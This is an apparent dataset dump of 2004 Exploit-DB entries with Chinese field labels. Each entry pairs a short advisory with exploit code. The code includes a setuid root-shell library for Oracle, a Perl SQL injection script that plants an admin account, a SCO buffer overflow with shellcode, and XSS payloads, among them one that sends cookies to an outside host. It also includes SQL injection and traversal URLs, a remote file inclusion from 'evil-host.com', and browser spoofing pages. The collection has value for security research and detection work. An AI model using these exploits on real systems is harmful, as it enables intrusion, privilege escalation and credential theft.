QLWD/code_shield huggingface dataset:
标题: Oracle9i Database - Default Library Directory Privilege Escalation EDB-ID: 24335 CVE: 2004-1707 类型: LOCAL 平台: UNIX 发布日期: 2004-07-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10829/info

Oracle database implementations are reportedly prone to a default library directory privilege escalation vulnerability. This issue arises due to a default configuration error that will permit the attacker to replace libraries required by setuid root applications with arbitrary code.

This issue would allow an Oracle software owner to execute code as the superuser, taking control of the entire system.

It should be noted that this vulnerability only affects Oracle on UNIX/Linux platforms.

#include
#include

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
setuid(0);
system("/usr/bin/ksh");
printf("Saliendo del Init()\n");
} URL: https://www.exploit-db.com/exploits/24335
标题: AntiBoard 0.6/0.7 - 'antiboard.php?feedback' Cross-Site Scripting EDB-ID: 24330 CVE: 2004-2063 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10821/info
 
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
 
AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/24330
标题: Verylost LostBook 1.1 - Message Entry HTML Injection EDB-ID: 24333 CVE: 2004-2064 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/10825/info

Reportedly Verylost lostBook is affected by an HTML injection vulnerability in its message entry functionality. This issue is due to a failure of the application to properly validate and sanitize user-supplied input before including it in dynamically generated web page content.

This may allow an attacker inject malicious HTML and script code into the application. An unsuspecting user viewing the post will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.

example.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie URL: https://www.exploit-db.com/exploits/24333
标题: RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Arbitrary File Access EDB-ID: 24327 CVE: 2004-2061 类型: REMOTE 平台: CGI 发布日期: 2004-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/10812/info
 
RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.
 
A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.

http://www.example.com/cgi-bin/search/show.pl?url=file:/etc/passwd URL: https://www.exploit-db.com/exploits/24327
标题: RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay EDB-ID: 24326 CVE: 2004-2061 类型: REMOTE 平台: CGI 发布日期: 2004-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/10812/info

RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.

A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.

http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=ftp://username:password@192.168.0.1 URL: https://www.exploit-db.com/exploits/24326
标题: Phorum 5.0.7 - Search Script Cross-Site Scripting EDB-ID: 24331 CVE: 2004-2242 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10822/info

A cross-site scripting vulnerability is reported to affect Phorum. This issue affects the 'search.php' script. As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user.

This vulnerability was reported to affect Phorum 5.0.7 beta.

http://www.example.com/phorum5/search.php?12,search=vamp,page=1,match_type=ALL,
match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ] URL: https://www.exploit-db.com/exploits/24331
标题: Microsoft Internet Explorer 5.0.1 - Style Tag Comment Memory Corruption EDB-ID: 24328 CVE: 2004-0842 类型: REMOTE 平台: WINDOWS 发布日期: 2004-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10816/info

A heap overflow vulnerability has been discovered in Internet Explorer. It is reported that the issue presents itself when a comment character sequence that is not terminated is encountered after a STYLE tag.

This issue could be exploited by a remote attacker to execute arbitrary code in the context of the client user. The attacker would likely create a malicious HTML page and host it on a site. The attacker would then attempt to entice a user to visit the malicious page to carry out a successful attack.

<style>;@/* 

And by "Berend-Jan Wever" <skylined@edup.tudelft.nl>:

<SCRIPT>
d = window.open().document;
d.write("x");
d.body.innerHTML = "<STYLE>@;/*";
</SCRIPT> URL: https://www.exploit-db.com/exploits/24328
标题: Opera Web Browser 7.53 - Location Replace URI Obfuscation EDB-ID: 24325 CVE: 2004-2491 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/10810/info

Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. This issue is due to a race condition error.

This issue may be leveraged by an attacker to display false information in the address bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to be derived from a trusted location. This may facilitate phishing attacks; attempted theft of user information for the purpose of identity theft.

<script>
function fake() {
 oc=window.open('http://www.opera.com/', '','location=1');
 oc.location.replace('http://www.example.com');
}
[/script]
<a href="javascript:void(0);" onClick="fake()">http://www.opera.com/</a> URL: https://www.exploit-db.com/exploits/24325
标题: Jaws 0.2/0.3/0.4 - 'ControlPanel.php' SQL Injection EDB-ID: 24334 CVE: 2004-2067 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/10826/info

JAWS is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the controlpanel.php script due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

<script type="text/javascript">

function crypt_form(form) {
var new_password = calcMD5(form.password.value);
form.crypted_password.value = "' or '2'='2";
form.password.value = "";
return true;
}
</script> URL: https://www.exploit-db.com/exploits/24334
标题: AntiBoard 0.6/0.7 - 'antiboard.php' Multiple SQL Injections EDB-ID: 24329 CVE: 2004-2062 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10821/info

Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.

AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=threaded&sort_order=

/antiboard.php?range=all&mode=threaded&thread_id=1&reply=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--

/antiboard.php?range=all&thread_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&sort_order=ASC&mode=threaded

/antiboard.php?thread_id=1&parent_id=1%20UNION%20ALL%20select%20field%20from%20whatever--&mode=nested&reply=1

poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=1';%20exec%20whatever--&range=&parent_id=0&reply=reply

POST antiboard.php poster_name=1111&poster_email=1111&message_title=1111&message_body=1111&submit=Submit%2bmessage&thread_id=3&mode=threaded&range=&parent_id=1%20UNION
ALL select field from antiboard_emails----&reply=reply URL: https://www.exploit-db.com/exploits/24329
标题: XLineSoft ASPRunner 1.0/2.x - 'export.asp?SQL' Cross-Site Scripting EDB-ID: 24316 CVE: 2004-2059 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/export.asp?SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%
3C%2Fscript%3Eselect+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C+++%5Ben
%5D%2C+++%5Bdesc%5D++From+%5Bdictionary%5D++order+by+%5Ben%5D+desc&mypage=1&
pagesize=20 URL: https://www.exploit-db.com/exploits/24316
标题: Mozilla Browser 0.8/0.9/1.x - Refresh Security Property Spoofing EDB-ID: 24312 CVE: 2004-0763 类型: REMOTE 平台: LINUX 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10796/info

Mozilla and Firefox may permit malicious Web pages to spoof security properties of a trusted site.

An attacker can exploit this issue to spoof the URI and SSL certificate of a site trusted by an unsuspecting user. The attacker can then use this spoofing to steal sensitive or private information, facilitating phishing attacks

< HTML>
< HEAD>
< TITLE>Spoofer< /TITLE>
< META HTTP-EQUIV="REFRESH" CONTENT="0;URL=https://www.example.com">
< /HEAD>
< BODY
onunload="
document.close();
document.writeln('< body onload=document.close();break;>
< h3>It is Great to Use example's Cert!');

document.close();
window.location.reload();
">
< /body> URL: https://www.exploit-db.com/exploits/24312
标题: XLineSoft ASPRunner 1.0/2.x - '[TABLE]_list.asp?searchFor' Cross-Site Scripting EDB-ID: 24315 CVE: 2004-2059 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_list.asp?TargetPageNumber=1&sourceID=&cmdGotoPa
ge=&action=Search&SQL=select+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C
+++%5Ben%5D%2C+++%5Bdesc%5D++From+%5Bdictionary%5D++where+1%3D0+or+%5Btr%5D+
like+%27%25&orderby=+order+by+%5Ben%5D+desc&PageSize=20&SearchField=AnyField
&SearchOption=Contains&SearchFor=%22%3E%3Cscript%3Ealert%28document.cookie%2
9%3C%2Fscript%3E&PageSizeSelect=20&NeedQuoteswordid=False&Typewordid=3&NeedQ
uoteswordid=False&Typewordid=3&NeedQuotestr=True&Typetr=202&NeedQuotesen=Tru
e&Typeen=202&NeedQuotesdesc=True&Typedesc=203 URL: https://www.exploit-db.com/exploits/24315
标题: XLineSoft ASPRunner 1.0/2.x - '[TABLE-NAME]_edit.asp?SQL' Cross-Site Scripting EDB-ID: 24314 CVE: 2004-2059 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10799/info
 
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
 
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_edit.asp?editid=2822&editid2=&editid3=&TargetPa
geNumber=1&SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Ese
lect+%5Bword_id%5D%2C+%5Bword_id%5D%2C+++%5Btr%5D%2C+++%5Ben%5D%2C+++%5Bdesc
%5D++From+%5Bdictionary%5D++order+by+%5Ben%5D+desc&NeedQuoteswordid=False&Ne
edQuotes=&NeedQuotes=&action=view URL: https://www.exploit-db.com/exploits/24314
标题: XLineSoft ASPRunner 1.0/2.x - '[TABLE-NAME]_search.asp?Typeen' Cross-Site Scripting EDB-ID: 24313 CVE: 2004-2059 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10799/info

ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.

ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/[TABLE-NAME]_search.asp?action=AdvancedSearch&FieldName=word
_id&NeedQuoteswordid=False%2C+False&Typewordid=3%2C+3&SearchOption=Contains&
SearchFor=&FieldName=tr&NeedQuotestr=True&Typetr=202&SearchOption=Contains&S
earchFor=&FieldName=en&NeedQuotesen=True&Typeen=202&SearchOption=Contains&Se
archFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&FieldNam
e=desc&NeedQuotesdesc=True&Typedesc=203&SearchOption=Contains&SearchFor= URL: https://www.exploit-db.com/exploits/24313
标题: XLineSoft ASPRunner 1.0/2.x - Database Direct Request Information Disclosure EDB-ID: 24317 CVE: 2004-2060 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/10799/info
  
ASPRunner is reported prone to multiple vulnerabilities. The reported issues include SQL injection, cross-site scripting, information disclosure and unauthorized access to database files.
  
ASPRunner versions 2.4 and prior are affect by these issues.

http://www.example.com/db/[DB-FILE-NAME] URL: https://www.exploit-db.com/exploits/24317
标题: EasyIns Stadtportal 4.0 - 'Site' Remote File Inclusion EDB-ID: 24311 CVE: 2004-2053 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10795/info

EasyIns Stadtportal is reported prone to a vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

EasyIns Stadtportal version 4 is reported prone to this issue. Other versions may be affected as well.

http://www.example.com/stadtportal-path/index.php?site=http://www.evil-host.com URL: https://www.exploit-db.com/exploits/24311
标题: EasyWeb 1.0 FileManager Module - Directory Traversal EDB-ID: 24306 CVE: 2004-2047 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/10792/info

EasyWeb is prone to a directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. The issue occurs if a remote attacker sends a request to the 'ew_filemanager' script for a file containing directory traversal character sequences to the application.

EasyWeb FileManager 1.0 RC-1 is prone to this issue.

Update: Conflicting reports suggest that this issue may not be a vulnerability as access to various files can be limited by an EasyWeb administrator. An attacker with valid account credentials may only be able to carry out an attack. This BID will be updated as more information becomes available.

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd URL: https://www.exploit-db.com/exploits/24306
标题: Internet Software Sciences Web+Center 4.0.1 - Cookie Object SQL Injection EDB-ID: 24298 CVE: 2004-2561 类型: WEBAPPS 平台: ASP 发布日期: 2004-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10771/info

An SQL injection vulnerability is identified in the application that may allow attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

This issue exists due to insufficient sanitization of user-supplied input through the Cookie object.

Successful exploitation could result in compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may gain access to the administrative username and password and execute arbitrary database commands as well.

Web+Center version 4.0.1 is affected by this vulnerability. Other versions may be affected as well.

#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];

if (($#ARGV+1) < 2)
{
print "iss_helpdesk.pl host path\n";
exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level, first_name, last_name, availability, show_dispatch_flag) VALUES ('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";

$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;

my $http = "GET /$Path/search.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;

";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
# print $_;
}
print "\n";

close($remote);

print "You can now logon using the tech username 'Hacked' with the password 'Hacked'\n";

exit(0); URL: https://www.exploit-db.com/exploits/24298
标题: SCO Multi-channel Memorandum Distribution Facility - Multiple Vulnerabilities EDB-ID: 24293 CVE: 2004-0511 类型: LOCAL 平台: SCO 发布日期: 2004-07-20 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/10758/info

It has been reported that the SCO Multi-channel Memorandum Distribution Facility (MMDF) is affected by multiple vulnerabilities. These issues are due to a failure of the utility to properly validate buffer boundaries when copying user-supplied input.

These issues are known to be exploitable locally, however due to the nature of the application it is likely that remote exploitation is possible as well, although this is not confirmed.

An attacker might leverage these issues to execute arbitrary code in the context of the vulnerable utility; many of the affected utilities are setuid binaries by default. These issues might also be leveraged to cause the affected utility to crash, denying service to legitimate users.
*/

/*
 *  MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86
 *  Copyright 2004 Ramon de Carvalho Valle
 *
 */

char shellcode[]=           /*  36 bytes                          */
    "\x68\xff\xf8\xff\x3c"  /*  pushl   $0x3cfff8ff               */
    "\x6a\x65"              /*  pushl   $0x65                     */
    "\x89\xe6"              /*  movl    %esp,%esi                 */
    "\xf7\x56\x04"          /*  notl    0x04(%esi)                */
    "\xf6\x16"              /*  notb    (%esi)                    */
    "\x31\xc0"              /*  xorl    %eax,%eax                 */
    "\x50"                  /*  pushl   %eax                      */
    "\x68""/ksh"            /*  pushl   $0x68736b2f               */
    "\x68""/bin"            /*  pushl   $0x6e69622f               */
    "\x89\xe3"              /*  movl    %esp,%ebx                 */
    "\x50"                  /*  pushl   %eax                      */
    "\x50"                  /*  pushl   %eax                      */
    "\x53"                  /*  pushl   %ebx                      */
    "\xb0\x3b"              /*  movb    $0x3b,%al                 */
    "\xff\xd6"              /*  call    *%esi                     */
;

main(int argc,char **argv) {
    char buffer[16384],address[4],*p;
    int i;

    printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86\n");
    printf("Copyright 2004 Ramon de Carvalho Valle\n\n");

    *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

    sprintf(buffer,"-c");
    p=buffer+2;
    for(i=0;i<5120;i++) *p++=address[i%4];
    for(i=0;i<8192;i++) *p++=0x90;
    for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
    *p=0;

    execl("/usr/mmdf/bin/deliver","deliver",buffer,0);
} URL: https://www.exploit-db.com/exploits/24293
标题: Layton Technology HelpBox 3.0.1 - Multiple SQL Injections EDB-ID: 24303 CVE: 2004-2551 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10776/info

It is reported that HelpBox is susceptible to multiple SQL injection vulnerabilities. This issue is due to improper sanitization of user-supplied data. 

These problems present themselves when malicious SQL statements are passed to certain scripts.

Some scripts require administrative privileges to HelpBox. One script reportedly allows exporting any table in the SQL server.

These issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

HelpBox version 3.0.1 is reported vulnerable to these issues.

http://www.example.com/laytonhelpdesk/editcommentenduser.asp?sys_comment_id=1' URL: https://www.exploit-db.com/exploits/24303
标题: BoardPower Forum - 'ICQ.cgi' Cross-Site Scripting EDB-ID: 24287 CVE: 2004-1441 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10734/info

BoardPower Forum is reportedly affected by a cross-site scripting vulnerability in the icq.cgi script. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/cgi-bin/boardpower/icq.cgi?action=<script>javascript:alert('hello');</script> URL: https://www.exploit-db.com/exploits/24287
标题: Outblaze Webmail - HTML Injection EDB-ID: 24291 CVE: 2004-2625 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10756/info

Outblaze Webmail is reported prone to an-HTML injection vulnerability because the application fails to properly sanitize user-supplied HTML email content.

An attacker may be able to inject HTML and script code into the application through HTML email because it isn't properly sanitized.

An attacker can exploit this issue to access an unsuspecting user's cookie-based authentication credentials and to retrieve personal email. Other attacks are also possible.

<IMG SRC="javasc&#X0A;ript:alert (document.cookie)";" border="0" height="1" width="1"> URL: https://www.exploit-db.com/exploits/24291
标题: CuteNews 1.3 - Comment HTML Injection EDB-ID: 24290 CVE: 2004-0660 类型: WEBAPPS 平台: PHP 发布日期: 2004-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10750/info

CutePHP is reported prone to an HTML injection vulnerability.

The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to comment posts are not sufficiently sanitized of malicious HTML code.

An attacker can exploit this vulnerability by adding HTML code within URI arguments. The hostile code may be rendered in the user's browser when the user views the entry.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://www.example.com/show_news.php?subaction=addcomment&name=UserName&comments=http://www.example.com&id=1078525267||1090074219|UserName|none|127.0.0.1|<script>alert("example");</script>|| URL: https://www.exploit-db.com/exploits/24290